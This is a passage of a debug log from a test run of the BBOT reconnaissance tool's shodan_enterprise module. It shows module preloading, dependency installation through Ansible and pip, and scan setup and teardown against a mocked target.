FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:59:23,515 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:59:23,515 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:59:23,516 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 18:59:23,516 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:59:23,616 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:59:23,617 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:59:23,636 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 18:59:23,650 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 18:59:23,651 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:59:23,651 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:59:23,652 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:59:23,653 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:59:23,654 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:59:23,775 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_k9r3xnbdv2 completed in 1 second with status FINISHED -2026-02-27 18:59:23,775 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:59:23,776 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:59:23,778 [INFO] bbot test_module_shodan_enterprise.py:20 I AM HEEER [SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()), IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}), SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set())] -2026-02-27 18:59:23,778 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:59:23,778 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 19:00:50,198 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 19:00:50,200 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 19:00:50,212 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 19:00:50,213 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 19:00:50,214 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 19:00:50,215 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 19:00:50,216 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 19:00:50,217 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 19:00:50,217 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 19:00:50,219 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 19:00:50,220 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 19:00:50,221 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 19:00:50,222 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 19:00:50,223 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 19:00:50,224 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 19:00:50,225 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 19:00:50,225 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 19:00:50,226 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 19:00:50,227 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 19:00:50,228 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 19:00:50,229 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 19:00:50,230 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 19:00:50,231 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 19:00:50,231 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 19:00:50,232 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 19:00:50,233 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 19:00:50,234 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 19:00:50,235 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 19:00:50,235 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 19:00:50,236 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 19:00:50,237 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 19:00:50,237 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 19:00:50,239 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 19:00:50,239 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 19:00:50,241 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 19:00:50,242 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 19:00:50,245 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 19:00:50,246 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 19:00:50,248 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 19:00:50,248 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 19:00:50,250 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 19:00:50,250 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 19:00:50,251 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 19:00:50,252 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 19:00:50,253 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 19:00:50,253 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 19:00:50,254 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 19:00:50,256 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 19:00:50,256 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 19:00:50,257 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 19:00:50,258 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 19:00:50,258 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 19:00:50,259 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 19:00:50,260 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 19:00:50,260 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 19:00:50,261 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 19:00:50,261 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 19:00:50,262 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 19:00:50,263 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 19:00:50,263 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 19:00:50,264 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 19:00:50,264 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 19:00:50,265 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 19:00:50,266 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 19:00:50,266 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 19:00:50,267 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 19:00:50,271 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 19:00:50,272 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 19:00:50,273 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 19:00:50,274 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 19:00:50,275 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 19:00:50,275 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 19:00:50,276 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 19:00:50,277 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 19:00:50,277 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 19:00:50,278 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 19:00:50,279 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 19:00:50,279 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 19:00:50,280 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 19:00:50,281 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 19:00:50,281 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 19:00:50,282 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 19:00:50,282 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 19:00:50,283 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 19:00:50,283 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 19:00:50,284 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 19:00:50,284 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 19:00:50,285 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 19:00:50,286 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 19:00:50,286 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 19:00:50,287 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 19:00:50,287 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 19:00:50,293 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 19:00:50,294 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 19:00:50,295 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 19:00:50,295 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 19:00:50,296 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 19:00:50,297 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 19:00:50,298 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 19:00:50,299 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 19:00:50,299 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 19:00:50,300 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 19:00:50,301 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 19:00:50,303 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 19:00:50,304 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 19:00:50,305 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 19:00:50,305 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 19:00:50,306 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 19:00:50,307 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 19:00:50,308 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 19:00:50,308 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 19:00:50,309 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 19:00:50,310 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 19:00:50,310 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 19:00:50,311 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 19:00:50,311 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 19:00:50,312 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 19:00:50,312 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 19:00:50,313 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 19:00:50,314 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 19:00:50,315 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 19:00:50,316 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 19:00:50,316 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 19:00:50,317 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 19:00:50,318 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 19:00:50,318 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 19:00:50,319 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 19:00:50,319 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 19:00:50,320 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 19:00:50,320 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 19:00:50,321 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 19:00:50,321 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 19:00:50,322 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 19:00:50,323 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 19:00:50,323 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 19:00:50,324 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 19:00:50,324 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 19:00:50,325 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 19:00:50,326 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 19:00:50,326 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 19:00:50,327 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 19:00:50,327 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 19:00:50,328 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 19:00:50,328 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 19:00:50,329 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 19:00:50,330 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 19:00:50,331 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 19:00:50,331 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 19:00:50,332 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 19:00:50,332 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 19:00:50,333 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 19:00:50,333 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 19:00:50,334 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 19:00:50,334 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 19:00:50,336 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 19:00:50,336 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 19:00:50,337 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 19:00:50,337 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 19:00:50,338 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 19:00:50,338 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 19:00:50,339 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 19:00:50,339 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 19:00:50,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 19:00:50,341 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 19:00:50,342 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 19:00:50,342 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 19:00:50,343 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 19:00:50,343 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 19:00:50,344 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 19:00:50,345 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 19:00:51,686 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:00:51,687 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 19:00:51,687 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 19:00:51,826 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 19:00:52,428 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 19:00:52,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 19:00:52,429 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 19:00:52,430 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 19:00:52,646 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 19:00:52,649 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 19:00:52,763 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 19:00:52,764 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 19:00:52,815 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 19:00:52,818 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 19:00:52,818 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 19:00:53,481 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 19:00:53,481 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 19:00:58,889 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 19:00:58,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 19:00:58,890 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 19:01:00,864 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 19:01:00,864 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 19:01:00,868 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:01:00,868 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 19:01:00,869 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 19:01:00,869 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 19:01:00,873 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/0urrm3ejby66bt0ijszo -2026-02-27 19:01:01,846 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:01:01,847 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 19:01:01,848 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:01:01,848 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 19:01:01,849 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 19:01:01,849 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 19:01:01,850 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 19:01:01,974 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 19:01:01,974 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 19:01:01,975 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 19:01:01,977 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 19:01:01,978 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 19:01:01,978 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 19:01:01,978 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 19:01:01,980 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 19:01:01,980 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 19:01:01,981 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 19:01:01,981 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 19:01:01,981 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 19:01:01,982 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 19:01:01,982 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 19:01:01,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 19:01:01,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 19:01:01,982 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 19:01:01,983 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 19:01:01,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 19:01:01,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 19:01:01,983 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 19:01:01,984 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 19:01:01,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 19:01:01,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 19:01:01,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() 